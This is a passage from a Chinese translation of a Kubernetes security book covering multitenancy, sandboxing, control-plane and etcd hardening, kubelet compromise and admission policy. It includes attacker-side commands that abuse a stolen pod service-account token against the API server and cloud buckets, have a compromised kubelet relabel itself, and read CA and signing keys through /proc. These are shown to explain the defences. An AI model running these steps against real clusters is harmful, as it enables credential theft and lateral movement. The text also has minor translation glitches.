PodNodeSelector 准入控制器可以限制命名空间中选择器可以针对哪些节点进行目标选择,以防止敌对租户在其他的命名空间受限节点上调度(编辑以适应):

apiVersion: v1
kind: Namespace
metadata:
  annotations:
    scheduler...io/node-selector: node-restriction.k...s.io/nodeclass=web-facing
  name: my-web-facing-ns

对于硬多租户系统,这些值应该由准入控制器根据工作负载的属性设置:它们的标签、部署来源或镜像名称。或者可能只允许部署到高风险或面向网络的节点的完全合格镜像白名单。

注意

一个集群的安全边界根据其威胁模型和当前范围进行调整,正如Mark Manning“命令和 KubeCTL:渗透测试人员的实际 Kubernetes 安全性”中所示。

Kubernetes 系统的主要指导原则是保持 Pod 运行。一个 Pod 对基础设施故障的容忍性依赖于工作负载在硬件上的有效分布。这种以可用性为中心的风格正确地优先考虑了利用率而不是安全隔离。安全性成本更高,需要为每个隔离的工作负载分类专用节点。

节点污点

默认情况下,命名空间在集群中共享所有节点。如图所示,可以使用污点来防止调度程序在 Kubernetes 的默认配置中将 Pod 放置在某些节点上:

$ kubectl taint nodes kube-node-2 key1=value1:NoSchedule

这是因为自托管的控制平面使用文件系统托管的静态 Pod 清单在 kubeletstaticPodPath 中运行,默认为 /etc/kubernetes/manifests,它会忽略这些污点。

通过高级调度提示,可以防止 Pod 在同一节点上共同调度,将它们隔离在自己的计算硬件上(虚拟机或裸金属机器)。

大多数情况下,这种隔离级别对于大多数人来说太昂贵了(它通过减少每个工作负载的可能节点数量来阻止“装箱”工作负载,而且未充分利用可能导致未使用的计算资源),因此在默认的 Kubernetes 配置上提供了一种一致的遍历命名空间的机制。

注意

一个能够妥协 kubelet 的攻击者可以以许多巧妙的方式留在集群中,详细信息请参考 Brad GeesamanIan Coldwater 的演讲 “高级持久性威胁”

准入控制可以防止像共享主机命名空间这样的广泛开放的利用途径。您应该通过安全的 Pod 配置、镜像扫描、供应链验证、入站 Pod 和操作员的准入控制和策略,以及入侵检测来减轻潜在的容器逃逸到主机的风险,当其他方法失败时。

如果 Hashjack 船长无法通过容器运行时或内核版本中的漏洞轻松逃逸出容器,他们很快就会开始攻击网络。他们可能选择攻击集群中的其他租户或其他网络可访问的服务,如控制平面和 API 服务器、计算节点、集群外部数据存储或同一网络段上可访问的任何其他内容。

攻击者寻找链条中的下一个薄弱环节,或者任何过度特权的 Pod,因此在租户之间强制执行安全的“硬”多租户模式可以使集群对此类升级变得更加坚固。为了进行比较,让我们首先看一下“软”多租户的目标。

软多租户

您应该使用软多租户模型来防止由于过度特权的租户导致的可避免事故。与接下来要介绍的硬多租户相比,软多租户的构建和运行要容易得多,因为其威胁模型不考虑像 Dread Pirate Hashjack 这样的有动机的威胁行为者。

软多租户通常是“每个命名空间一个租户”的模型。在整个集群中,租户可能会把集群或管理员的最佳利益放在心上。然而,敌对的租户可能会打破这种类型的集群。

租户的示例包括团队中的不同项目,或者公司中的团队,这些租户通过 RBAC 角色和绑定进行强制执行,并通过命名空间进行分组。命名空间中的资源是有限的,因此租户无法耗尽集群的资源。

命名空间是用于在集群中建立安全边界的工具,但它们不是强制执行点。它们涵盖许多安全和策略功能:准入控制 Web 钩子、RBAC 和访问控制、网络策略、资源配额和限制范围、Pod 安全策略、Pod 反亲和性、带有污点和容忍度的专用节点,以及更多。因此,它们是其他机制和资源的抽象组合:您的威胁模型应将这些信任边界视为防御景观上的墙壁。

在宽松的软多租户模型下,命名空间隔离技术可能不严格执行,允许租户看到彼此的 DNS 记录,并且如果没有网络策略,则可能允许网络路由之间的通信。应监控 DNS 枚举和恶意域名请求。对于 Captain Hashjack 来说,静默扫描网络可能是逃避检测的更有效方式,尽管 CNI 和 IDS 工具应该能够检测到这种异常行为。

即使是软多租户部署,强烈推荐使用网络策略。Kubernetes 节点需要它们的kubelet之间的平面网络空间,并且kubelet的 CNI 插件用于在 OSI 第 2 层(ARP)、第 3/4 层(IP 地址和 TCP/UDP 端口)以及第 7 层(应用程序和 TLS/x509)强制执行租户命名空间分离。像 Cilium、Weave 或 Calico 这样的网络插件通过虚拟覆盖网络或 VPN 隧道将 Pod 流量路由到所有节点之间的所有流量,以对抗集群外窥探者进行加密。

CNI 保护传输中的数据,但必须信任 Kubernetes 允许运行的任何工作负载。由于恶意工作负载位于 CNI 的信任边界内,它们会接收到受信任的流量。您对该工作负载在其周围环境中变得不良的容忍度应指导您的安全控制级别。

注意

我们将在第五章中深入讨论网络策略。

强制多租户

在这种模型中,集群租户彼此不信任,并且命名空间配置默认“安全”。CI/CD 管道中的安全保护栏和准入控制强制执行策略。这种分离水平是跨行业和国家部门、公共计算服务以及监管和认证机构所要求的敏感和私密工作负载。

敌对租户

在强制多租户系统中,将所有工作负载视为极具敌意可能会有所帮助。这探索了攻击树的更多分支,以制定最佳的集群安全控制平衡,这将有助于限制工作负载可能存在的宽松云或集群授权。

它还涵盖了一些未知的潜在事件,例如 RBAC 子系统 CVE-2019-11247 中的失败,该漏洞泄露了非集群范围角色对集群范围资源的访问权限,CVE-2018-1002105 和 CVE-2019-1002100,它们导致 API 服务器 DOS,或 CVE-2018-1002105,部分可利用的 API 身份验证绕过(在本章后面有详细介绍)。

注意

在 2019 年,所有 Kubernetes API 服务器都面临严重的风险,可能受到攻击。Rory McCune 发现 v1.13.7 存在对 Billion Laughs YAML 反序列化攻击的漏洞,而 Brad Geesaman 利用 sig-honk 武器化了该漏洞。对于具有 API 服务器可见性的恶意租户来说,这将是一个简单的利用方式。

入场控制器在认证和授权后由 API 服务器执行,并通过“深度负载检查”验证传入的 API 服务器请求。这一额外步骤比传统的 RESTful API 架构更为强大,因为它使用特定策略检查请求的内容,可以捕获配置错误和恶意 YAML。

复杂的多租户系统可能会使用高级沙箱来以不同方式隔离 Pod,以增强对零日攻击的抵抗力。

注意

更深入地涵盖了高级沙箱技术的内容在 第三章 中。

沙箱和策略

诸如 gVisor、Firecracker 和 Kata Containers 的沙箱巧妙地将 KVM 与命名空间和 LSM 结合起来,进一步将工作负载从高风险接口和内核等信任边界中抽象出来。

captain

这些沙箱的设计旨在抵御其系统调用、文件系统和网络子系统中的漏洞。与每个项目一样,它们有 CVE,但它们得到了良好的维护并且迅速修复。它们的威胁模型有着良好的文档记录,理论上的架构也是坚实的,但每一种安全抽象都是以系统简易性、工作负载调试能力、文件系统和网络性能为代价的。

将 Pod 或命名空间沙箱化权衡加在所需的额外资源上。Hashjack 队长的潜在加密勒索应该被计入方程式,以对抗沙箱保护未知的内核和驱动程序漏洞。

注意

沙箱并非万无一失,沙箱化的权衡在于同时在沙箱和底层 Linux 内核中发现可利用漏洞的可能性。这是一个合理的方法,并与浏览器沙箱化类似:Chromium 使用与容器相同的命名空间、cgroupsseccomp。在 Pwn2Own 和 Tianfu Cup 上经常展示了 Chromium 的突破,但利用漏洞的风险窗口大约是每 2 到 5 年一次(非常粗略地说)。

复杂和可扩展的入场控制应实现像 OPA 这样的工具。OPA 使用 Rego 语言定义策略,与任何代码一样,策略可能会存在漏洞。安全工具很少会“故障开放”,除非它们配置错误。

策略风险包括入场控制器策略中的宽容正则表达式和对象或值的松散比较。许多 YAML 属性,如镜像名称、标签和元数据,都是容易出错的字符串值比较。与所有静态分析一样,策略引擎的健壮性取决于您的配置。

多租户还涉及监视工作负载可能具有敌对行为的行为。支持入侵检测和可观察性服务有时需要潜在危险的 eBPF 权限,而 eBPF 的内核执行已成为容器越狱的源头。CAP_BPF 能力(自 Linux 5.8 起)将减少 eBPF 系统中的错误影响,并减少对“过载的 CAP_SYS_ADMIN 能力”的使用(如 manpage 所述)。

注意

eBPF 在第五章和第九章中进一步讨论。

尽管以提升的权限运行内省和可观察性工具存在运行时风险,但了解集群风险并实时监控这些权限比不知情更安全。

公共云多租户

Google Cloud Run 等公共硬多租户服务不信任其工作负载。它们自然地假设租户及其活动是恶意的,并构建控件以将其限制在容器、pod 和命名空间中。威胁模型考虑到攻击者将尝试每种已知攻击以试图越狱。

私人运行的硬多租户先驱包括 https://contained.af ——一个带有终端的网页,连接到一个使用内核原语和 LSM 安全的容器。冒险家被邀请尝试越狱,如果他们的狡猾和技能使其能够。到目前为止还没有越狱成功,这证明了该网站主持人 Jess Frazelle 在 Docker 的 runc 运行时中做出的贡献。

尽管犯罪分子可能会有动机使用或出售容器越狱的零日漏洞,但大多数容器逃逸的先决条件是缺乏 LSM 和能力控制。按照准入控制强制执行的安全最佳实践配置的容器已启用这些控制,并且越狱风险较低。

CTF 或共享计算平台,如 https://ctf.af,应被视为受到威胁,并定期“重新铺设”(从头开始重建,不保留任何基础设施),以期望升级。这使得攻击者的持久性攻击变得困难,因为他们必须定期重复使用相同的入口点,增加被发现的可能性。

控制平面

Hashjack 船长想要在您的 pod 中运行代码以查看系统的其他部分。从 pod 中窃取服务帐户身份验证信息(位于 /var/run/secrets/kubernetes.io/serviceaccount/token)使攻击者能够伪装成您的 pod 身份访问 API 服务器和任何云集成,如以下示例所示:

提示

Pod 和机器身份凭据对于海盗对手来说就像宝藏。只需服务帐户令牌(JWT)即可与 API 服务器通信,因为服务器证书验证可以通过 --insecure 禁用,尽管这不建议用于合法用途。

user@pod:~ [0]$ curl https://kubernetes.default/api/v1/namespaces/default/pods/ \
  --header "Authorization: Bearer ${TOKEN}" --insecure ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)

user@pod:~ [0]$ kubectl --token="$(<${DIR}/token)" \
  --certificate-authority="${DIR}/ca.crt" get pods ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)

user@pod:~ [0]$ kubectl --token="$(<${DIR}/token)" \
  --insecure-skip-tls-verify get pods ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)

user@pod:~ [0]$ kubectl --token="$(<${DIR}/token)" -k \
  get buckets ack-test-smoke-s3 -o yaml ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)

1

kubernetes.default是 Pod 网络中的 API 服务器 DNS 名称。

2

kubectl默认为kubernetes.default,凭据位于/run/secrets/kubernetes.io/serviceaccount中。

3

使用kubectl YOLO(不验证 API 服务器的证书颁发机构)。

4

如果工作负载标识能够访问云托管资源的 CRD,则窃取令牌可以解锁对 S3 存储桶和其他连接基础设施的访问。

对 API 服务器的访问还可以通过其 SAN 泄露信息,显示内部和外部 IP 地址,DNS 记录指向的任何其他域,以及源自kubernetes.default.svc.cluster.local的标准内部域(输出已编辑):

user@pod:~ [0]$ openssl s_client -connect kubernetes.default:443 \
  < /dev/null 2>/dev/null |
  openssl x509 -noout -text | grep -E "DNS:|IP Address:"

DNS:kube-node-1, DNS:kubernetes, DNS:kubernetes.default,
DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local,
IP Address:10.96.0.1, IP Address:10.0.1.1, IP Address:167.99.95.202

除 API 服务器的 Kubernetes 资源级 RBAC 之外,集群中还有许多身份验证端点,每个端点允许攻击者使用窃取的凭据尝试特权升级。

警告

默认情况下,未经身份验证的用户将被放置到system:anonymous组中,并且能够读取 API 服务器的/version端点,如下所示,并使用任何意外绑定到该组的角色。如果可能的话,应禁用匿名认证以符合您的用例:

root@pod:/ [60]# curl -k https://kubernetes.default:443/version
{
  "major": "1",
  "minor": "22",
  "gitVersion": "v1.22.0",
# ...

每个kubelet都有其自己的本地公开 API 端口,可以允许未经身份验证的访问来读取节点本地的 Pod。历史上,这是由于cAdvisor(容器顾问)请求资源和性能统计信息,一些可观察性工具仍然使用这个端点。如果没有网络策略来限制 Pod 与节点网络的访问,kubelet可以从 Pod 中受到攻击。

凭借同样的逻辑,API 服务器可以从没有网络策略限制的 Pod 攻击。任何管理界面应该在尽可能多的方面进行限制。

API 服务器和 etcd

etcd是每个版本的 Kubernetes 和许多其他云原生项目背后的强大分布式数据存储。它可以部署在专用集群上,作为 Kubernetes 控制平面节点上的systemd单元,或作为 Kubernetes 集群中的自托管 Pod。

在 Kubernetes 集群内部部署etcd作为 Pod 是最风险的部署选项:它为攻击者提供了直接访问 CNI 上的etcd。一个意外的 Kubernetes RBAC 配置错误可能会通过etcd篡改暴露整个集群。

注意

etcd的 API 曾遭遇远程可利用的 CVE。CVE-2020-15115 允许对用户密码进行远程暴力破解,CVE-2020-15106 是远程 DoS。历史上的 CVE-2018-1098 还允许跨站请求伪造,导致特权提升。

应通过将其防火墙限制为仅允许 API 服务器访问,启用所有加密方法,并最终将 API 服务器与 KMS 或 Vault 集成,以便在到达etcd之前加密敏感值。指导方针已发布在etcd安全模型中。

API 服务器处理系统的核心逻辑并将其状态持久化在etcd中。只有 API 服务器应该需要访问,因此在 Kubernetes 集群中etcd不应该通过网络访问。

提示

很明显,每个软件都容易受到漏洞的影响,因此当etcd不在网络上普遍可用时,这些攻击可以得到减少。如果 Hashjack 船长看不到套接字,他们就无法攻击它。

API 服务器和etcd之间存在一个信任边界。对etcd的根访问可能会危及 API 服务器的数据或允许注入恶意工作负载,因此 API 服务器保存一个加密密钥:如果密钥被泄露,攻击者可以读取etcd数据。这意味着如果为了防止窃取而部分加密etcd的内存和备份,Secrets 的值将使用 API 服务器的对称密钥进行加密。该 Secret 密钥在启动时通过配置 YAML 传递给 API 服务器:

--encryption-provider-config=/etc/kubernetes/encryption.yaml

这个文件包含用于加密etcd中 Secrets 的对称密钥:

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
    - secrets
    providers:
    - aescbc:
        keys:
        - name: key1
          secret: <BASE64 ENCODED SECRET ENCRYPTION KEY>
    - identity: {}

Base64 是一种编码方式,用于简化文本链接上的二进制数据,在 Kubernetes 的古老时代,这是保护 Secrets 的唯一方式。如果 Secret 值在静态时未加密,那么etcd的内存可以被转储,攻击者可以读取 Secret 值,并且备份可以被掠夺以获取 Secrets。

容器只是进程,但主机上的根用户是全知的。他们必须能够查看所有内容以便调试和维护系统。正如你所见,转储进程内存空间中的字符串是微不足道的:

注意

参见“容器取证”以了解一个简单的示例,如何转储进程内存。

所有内存都可以被根用户读取,因此容器内存中的未加密值很容易被发现。你必须检测那些尝试这种行为的攻击者。

对于攻击者来说最难窃取的 Secrets 是隐藏在托管提供商托管的密钥管理服务(KMS)中的那些,它们可以代表消费者执行加密操作。专用的物理硬件安全模块(HSM)用于将云 KMS 系统的风险降至最低。诸如 HashiCorp Vault 等应用程序可以配置为 KMS 的前端,服务必须明确进行身份验证才能检索这些 Secrets。它们不在本地主机的内存中,不能轻易枚举,每个请求都会被记录以供审计。攻击者如果入侵了一个节点,还没有窃取该节点可以访问的所有 Secrets。

KMS 集成使得从etcd中窃取云 Secrets 变得更加困难。API 服务器使用本地代理与 KMS 交互,通过解密存储在etcd中的值:

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
    providers:
      - kms:
          name : myKmsPlugin
          endpoint: unix:///var/kms-plugin/socket.sock
          cachesize: 100

让我们继续讨论其他控制平面组件。

调度器和控制器管理器

控制器管理器和调度器组件很难受到攻击,因为它们没有公共网络 API。它们可以通过影响etcd中的数据或欺骗 API 服务器来进行操纵,但不接受网络输入。

控制器管理器的服务账户是“最小权限”的典范实现。一个控制器管理器进程实际上运行多个独立的控制器。如果控制器管理器发生权限升级,使用的服务账户在泄露的情况下会有良好的隔离:

# kubectl get -n kube-system -o wide serviceaccounts | grep controller
attachdetach-controller              1         20m
calico-kube-controllers              1         20m
certificate-controller               1         20m
clusterrole-aggregation-controller   1         20m
cronjob-controller                   1         20m
daemon-set-controller                1         20m
deployment-controller                1         20m
disruption-controller                1         20m
endpoint-controller                  1         20m
endpointslice-controller             1         20m
endpointslicemirroring-controller    1         20m
expand-controller                    1         20m
job-controller                       1         20m
namespace-controller                 1         20m
node-controller                      1         20m
pv-protection-controller             1         20m
pvc-protection-controller            1         20m
replicaset-controller                1         20m
replication-controller               1         20m
resourcequota-controller             1         20m
service-account-controller           1         20m
service-controller                   1         20m
statefulset-controller               1         20m
ttl-controller                       1         20m

然而,这并不是该服务面临的最大风险。与大多数 Linux 攻击一样,拥有 root 权限的恶意用户可以访问一切:运行中进程的内存、磁盘上的文件、网络适配器以及挂载的设备。

攻击者如果攻破运行控制器管理器的节点,可以冒充该组件,因为它与 API 服务器共享关键的身份验证材料和文件系统,使用主节点的文件系统共享:

  - command:
    - kube-controller-manager
    - --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf
    - --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf
    - --bind-address=127.0.0.1
    - --client-ca-file=/etc/kubernetes/pki/ca.crt
    - --cluster-name=kubernetes
    - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt
    - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key
    - --controllers=*,bootstrapsigner,tokencleaner
    - --kubeconfig=/etc/kubernetes/controller-manager.conf
    - --leader-elect=true
    - --port=0
    - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
    - --root-ca-file=/etc/kubernetes/pki/ca.crt
    - --service-account-private-key-file=/etc/kubernetes/pki/sa.key
    - --use-service-account-credentials=true
    image: k8s.gcr.io/kube-controller-manager:v1.20.4
    volumeMounts:
    - mountPath: /etc/ssl/certs
      name: ca-certs
      readOnly: true
    - mountPath: /etc/ca-certificates
      name: etc-ca-certificates
      readOnly: true
    - mountPath: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
      name: flexvolume-dir
    - mountPath: /etc/kubernetes/pki
      name: k8s-certs
      readOnly: true
    - mountPath: /etc/kubernetes/controller-manager.conf
      name: kubeconfig
      readOnly: true
    - mountPath: /usr/local/share/ca-certificates
      name: usr-local-share-ca-certificates
      readOnly: true
    - mountPath: /usr/share/ca-certificates
      name: usr-share-ca-certificates
      readOnly: true

作为控制平面主机上的 root 用户,检查控制器管理器,我们可以转储容器的文件系统并探索:

# find /proc/27386/root/etc/kubernetes/
/proc/27386/root/etc/kubernetes/
/proc/27386/root/etc/kubernetes/pki
/proc/27386/root/etc/kubernetes/pki/apiserver.crt
/proc/27386/root/etc/kubernetes/pki/front-proxy-client.key
/proc/27386/root/etc/kubernetes/pki/ca.key
/proc/27386/root/etc/kubernetes/pki/ca.crt
/proc/27386/root/etc/kubernetes/pki/sa.key
/proc/27386/root/etc/kubernetes/pki/sa.pub
/proc/27386/root/etc/kubernetes/pki/front-proxy-client.crt
/proc/27386/root/etc/kubernetes/pki/apiserver-kubelet-client.crt
/proc/27386/root/etc/kubernetes/pki/front-proxy-ca.key
/proc/27386/root/etc/kubernetes/pki/apiserver-kubelet-client.key
/proc/27386/root/etc/kubernetes/pki/apiserver.key
/proc/27386/root/etc/kubernetes/pki/front-proxy-ca.crt
/proc/27386/root/etc/kubernetes/controller-manager.conf

调度器比控制器管理器具有更少的权限和密钥:

  containers:
  - command:
    - kube-scheduler
    - --authentication-kubeconfig=/etc/kubernetes/scheduler.conf
    - --authorization-kubeconfig=/etc/kubernetes/scheduler.conf
    - --bind-address=127.0.0.1
    - --kubeconfig=/etc/kubernetes/scheduler.conf
    - --leader-elect=true
    - --port=0
    image: k8s.gcr.io/kube-scheduler:v1.20.4

这些有限的权限使得 Kubernetes 在集群内部配置了最小权限,并使得 Dread Pirate Hashjack 的工作更加困难。

云控制器管理器的 RBAC ClusterRole 允许创建服务账户,攻击者可以利用这些账户进行横向移动或持续访问。它还可以访问云交互以控制计算节点进行自动扩展、云存储访问、网络路由(例如节点之间)、以及负载均衡器配置(用于路由互联网或外部流量到集群)。

历史上,此控制器曾是 API 服务器的一部分,这意味着集群遭到攻击可能升级为云账号遭到攻击。像这样分离权限可以增加攻击者的难度,确保控制平面节点不被攻破可以保护这些服务。

数据平面

Kubernetes 在工作节点加入集群后会信任该节点。如果你的工作节点被黑客攻破,那么它托管的 kubelet 也会被攻破,以及 kubelet 运行或具有访问权限的 pod 和数据。所有 kubelet 和工作负载凭证都处于攻击者控制之下。

默认情况下,kubelet 的 kubeconfig、密钥和服务账户详细信息不会受 IP 绑定限制,工作负载服务账户也是如此。这些身份(服务账户 JWTs)可以从 API 服务器可访问的任何地方泄露并使用。后期利用,Captain Hashjack 可以冒充 kubelet 的工作负载,无论这些工作负载的身份在何处被接受:API 服务器、其他集群和 kubelet、云和数据中心集成以及外部系统。

默认情况下,API 服务器使用 NodeRestriction 插件和准入控制器中的节点授权。这些限制了kubelet的服务帐户凭据(必须位于system:nodes组中)只能访问安排在该kubelet上的 pod。攻击者只能拉取与安排在kubelet节点上的工作负载相关的 Secrets,而这些 Secrets 已经从主机文件系统挂载到容器中,任何 root 用户都可以读取。

这使得 Hashjack 船长的专制计划变得更加困难。一个被入侵的kubelet的爆炸半径受到此策略的限制。攻击者可能会尝试吸引敏感的 pod 调度到它身上,从而绕过这一限制。

这不是使用 API 服务器来重新调度 pod —— 被窃取的kubelet凭据在kube-system命名空间中没有授权 —— 而是通过更改kubelet的标签来假装成不同的主机或隔离的工作负载类型(前端、数据库等)。

一个被入侵的kubelet能够通过更新其命令行标志并重新启动来重新标记自己。这可能会欺骗 API 服务器将敏感的 pod 和 Secrets 调度到该节点上(输出已编辑):

root@kube-node-2 # kubectl get secrets -n null ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
Error from server (Forbidden): secrets is forbidden: User "system:node:kube-node-2"
cannot list resource "secrets" in API group "" in the namespace "null":
No Object name found

root@kube-node-2 # kubectl label --overwrite \
    node kube-node-2 sublimino=was_here ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
node/kube-node-2 labeled

1

通过进行失败的 API 调用来检查用户,我们是kubelet节点kube-node-2

2

使用新标签修改我们自己。

管理员可以使用标签将特定工作负载分配给特定的匹配kubelet节点和命名空间,将具有相似数据分类的工作负载分组在一起,或通过将网络流量保持在同一区域或数据中心来提高性能。攻击者不应能够在这些敏感且隔离的命名空间或节点之间跳跃。

NodeRestriction 准入插件通过强制不可变标签格式来防止节点将自己重新标记为这些受信任的节点组的一部分。文档使用监管标签作为示例(如example.com.node-restriction.kubernetes.io/fips=true):

# try to modify a restricted label
root@kube-node-2 # kubectl label --overwrite \
    node kube-node-2 example.com.node-restriction.kubernetes.io/fips=true
Error from server (Forbidden): nodes "kube-node-2" is forbidden: is not allowed
to modify labels: example.com.node-restriction.kubernetes.io/fips

没有这种额外的控制,一个被入侵的kubelet可能会危及敏感工作负载,甚至可能危及整个集群或云账户。该插件仍允许对一些不那么敏感的标签进行修改。

提示

任何硬多租户系统都应考虑 RBAC 角色的传递权限的影响,例如像 gcploit 在 GCP 中显示的那样。它通过链接分配给服务帐户的 IAM 策略,并利用它们的权限来探索原始服务帐户的“传递权限”。

集群隔离架构

在考虑数据分类时,有助于问自己,“最坏的情况是什么?”并从那里开始倒推。正如图 7-2 所示,代码将尝试逃离其容器,这可能会攻击集群并可能会危及账户安全。不要将高价值数据放在可以通过侵入低价值数据系统而访问的地方。

云原生安全的四个 C

图 7-2. Kubernetes 数据流图(来源:cncf/financial-user-group

集群应根据数据分类和违规影响进行隔离。在极端情况下,每个租户一个集群是昂贵的,并为 SRE 和安全团队创建了管理开销。划分集群的艺术在于安全性与可维护性的平衡。

有许多互相隔离的集群运行是昂贵的并浪费大量空闲计算资源,但对于敏感工作负载有时是必要的。每个集群必须应用一致的策略,并且分层命名空间控制器提供了一个有节制的路径来推广类似配置。

提示

需要统一配置来将 Kubernetes 资源同步到从属集群,并应用一致的准入控制和网络策略。

在图 7-3 中,我们看到策略对象如何在命名空间之间传播,以提供像 RBAC、网络策略和团队特定秘密等安全要求的统一执行。

haku 0703

图 7-3. Kubernetes 分层命名空间控制器(来源:Kubernetes 多租户工作组:深入探讨

集群支持服务和工具环境

连接到不同敏感性集群的共享工具环境可以为攻击者在环境之间转移或收集泄漏数据提供机会。

警告

工具环境是攻击的主要目标,尤其是注册表和内部包的供应链,以及日志记录和可观察性系统。

CVE-2019-11250 是一个侧信道信息泄漏,泄漏 HTTP 身份验证头。这些敏感数据默认在运行 client-go 库的 Kubernetes 组件中记录。在任何系统中,过度记录头部和环境变量是一个常见问题,突显了在敏感系统中进行分离的必要性。

可以将流量路由回其客户集群的工具环境可能能够访问具有来自 CI/CD 系统的凭据的管理界面和数据存储。或者,即使没有直接的网络访问,Hashjack 船长也可能会毒害容器镜像、破坏源代码、掠夺监控系统、访问安全和扫描服务,并留下后门。

安全监控和可见性

大型组织运行安全运营中心(SOC)和安全信息与事件管理(SIEM)技术,以支持合规性、威胁检测和安全管理。您的集群会向这些系统发出事件、审计、日志和可观察性数据,这些数据会被监控和反应。

过载这些系统的数据、超出速率限制,或增加事件延迟(导致审计、事件或容器日志延迟)可能会超出 SOC 或 SIEM 响应的能力。

Stateless 应用程序倾向于将它们的数据存储在其他人的数据库中,可从 Kubernetes 访问的云数据存储是主要目标。可以读取或写入这些数据存储的工作负载非常诱人,使用服务账号凭据和工作负载标识很容易获取数据。你的 SOC 和 SIEM 应该将云事件与它们调用的 Kubernetes 工作负载标识相关联,以了解系统的使用方式及可能的攻击方式。

我们将在第九章中更详细地讨论这个话题。

结论

隔离工作负载很困难,并需要您投资于测试自己的安全性。使用静态分析验证您的配置文件,并通过测试在运行时重新验证集群,以确保它们仍然正确配置。

API 服务器和 etcd 是 Kubernetes 的大脑和记忆,必须与敌对租户隔离开来。一些多租户选项在更大的 Kubernetes 集群中运行许多控制平面。

分层命名空间控制器为多集群策略带来了分布式管理。

第八章:政策

一旦一个系统建立在坚实的基础上,就必须正确使用以保持其完整性。建造一个海上要塞来抵御海盗是一场战斗的一半,接着是派遣守卫到瞭望塔,并随时准备进行防御。

就像对要塞守卫的命令一样,应用于集群的政策定义了允许的行为范围。例如,一个 pod 必须使用什么安全配置选项,存储和网络选项,容器镜像,以及工作负载的任何其他特性。

政策必须在集群和云中同步(准入控制器,IAM 政策,安全边车,服务网格,seccomp 和 AppArmor 配置文件)并加以执行。政策必须针对工作负载,这引发了一个身份的问题。我们能证明一个工作负载的身份吗,在给予其特权之前?

在本章中,我们将看看当政策未被执行时会发生什么,工作负载和操作员的身份应该如何管理,以及船长将如何尝试与我们防御墙上的潜在漏洞进行交互。

我们首先将审查不同类型的政策,并讨论 Kubernetes 在这一领域的开箱即用(OOTB)功能。然后我们转向威胁模型和关于审计等政策的常见期望。本章的大部分内容我们将花在访问控制主题上,特别是围绕基于角色的访问控制(RBAC),然后我们进一步研究基于项目如开放策略代理(OPA)和 Kyverno 的 Kubernetes 政策的通用处理。

政策类型

在现实场景中——也就是说,当你在生产中运行工作负载时——在业务的背景下,你必须考虑不同类型的政策:

技术政策

这些通常很容易理解并且易于实施(例如,运行时或网络通信政策)。

组织政策

到达这些政策可能会因组织而异具有挑战性(例如,“开发人员只能部署到测试和开发环境”)。

法规政策

这些政策取决于您的工作负载所在的行业,根据合规性水平的不同,可能需要大量时间和精力来实施(例如,要求卡片持有人数据在开放的公共网络上传输时必须加密的 PCI DSS 政策)。

在本章的背景下,我们主要关注如何定义和执行可以明确陈述的政策。在第十章中,我们将进一步探讨组织背景,通常情况下,尽管所有政策已经到位,但人类用户(作为链条中最薄弱的环节)为船长提供了一个受欢迎的入口角度。

让我们首先看看 Kubernetes 默认提供了什么。

默认值

策略对于保持 Kubernetes 安全至关重要,但默认情况下很少启用。大多数软件的配置随着时间的推移而变化,随着新功能的推出,配置错误成为常见的攻击向量,Kubernetes 也不例外。

对于满足您需求的重复使用和扩展开源策略配置通常比自行推出更安全,为了防止退化,您必须使用诸如 conftest 等工具测试基础设施和安全代码,我们将在 “开放策略代理” 深入探讨此主题。

图 8-1,很好地总结了这种情感。在这张图片中,Kubernetes 安全从业者 Brad Geesaman 指出了默认未启用准入控制的危险性;还可以参见相应的 TGIK episode

现在,如果船长在岗位上睡着了,会有哪些默认设置可以被利用呢?

tweet-brad-not-a-container-escape

图 8-1. Brad Geesaman 明智地提醒我们 Kubernetes 默认设置的危险性,以及添加准入控制的重要性。

Kubernetes 提供了一些策略的即插即用支持,包括控制网络流量、限制资源使用、运行时行为以及最主要的访问控制,我们将在 “认证和授权” 以及 “基于角色的访问控制(RBAC)” 之前深入探讨这些内容,然后转向 “通用策略引擎”。

现在让我们更仔细地看一看默认设置,并看看我们面临哪些挑战。

网络流量

NetworkPolicy 资源与强制执行它的 CNI 插件结合使用,允许我们制定约束网络流量的策略(另见 第五章)。

限制资源分配

在 Kubernetes 中,默认情况下,Pod 中的容器在计算资源消耗方面没有限制。自 Kubernetes 1.10 版本开始,您可以使用 LimitRanges 在每个命名空间基础上约束容器和 Pod 的资源分配。这种策略类型通过准入控制器强制执行,意味着不适用于正在运行的 Pod。

要查看 LimitRanges 在实际操作中的工作方式,假设您想要限制 dev 命名空间中容器可使用的内存为 2 GB。您可以定义如下策略:

apiVersion: v1
kind: LimitRange
metadata:
  name: dev-mem-limits
spec:
  limits:
  - type: Container
    max:
      memory: 2Gi

假设您将前面的 YAML 片段存储在名为 dev-mem-limits.yaml 的文件中,则为了强制执行限制范围,您将执行以下命令:

kubectl -n dev apply -f dev-mem-limits.yaml

如果您现在尝试创建一个尝试使用更多内存的容器的 Pod,您将收到类型为 403 Forbidden 的错误消息。

资源配额

在多租户环境中,一个集群被多个团队共享,一个特定的团队可能会使用超过工作节点(CPU、RAM 等)提供的公平份额。资源配额 是一种策略类型,允许您控制这些配额。

提示

某些 Kubernetes 发行版(例如 OpenShift)以一种方式扩展命名空间(在那里称为“项目”),使得资源配额等功能可以直接使用和强制执行。

对于具体的用法,请查阅深入文章 “如何使用 Kubernetes 资源配额”,同时查看 Google Cloud 关于此主题的博客文章 “Kubernetes 最佳实践:资源请求和限制”

此外,自 Kubernetes v1.20 起,还有可能限制每个节点基础上的 pod 使用的 进程 ID 的数量。

运行时策略

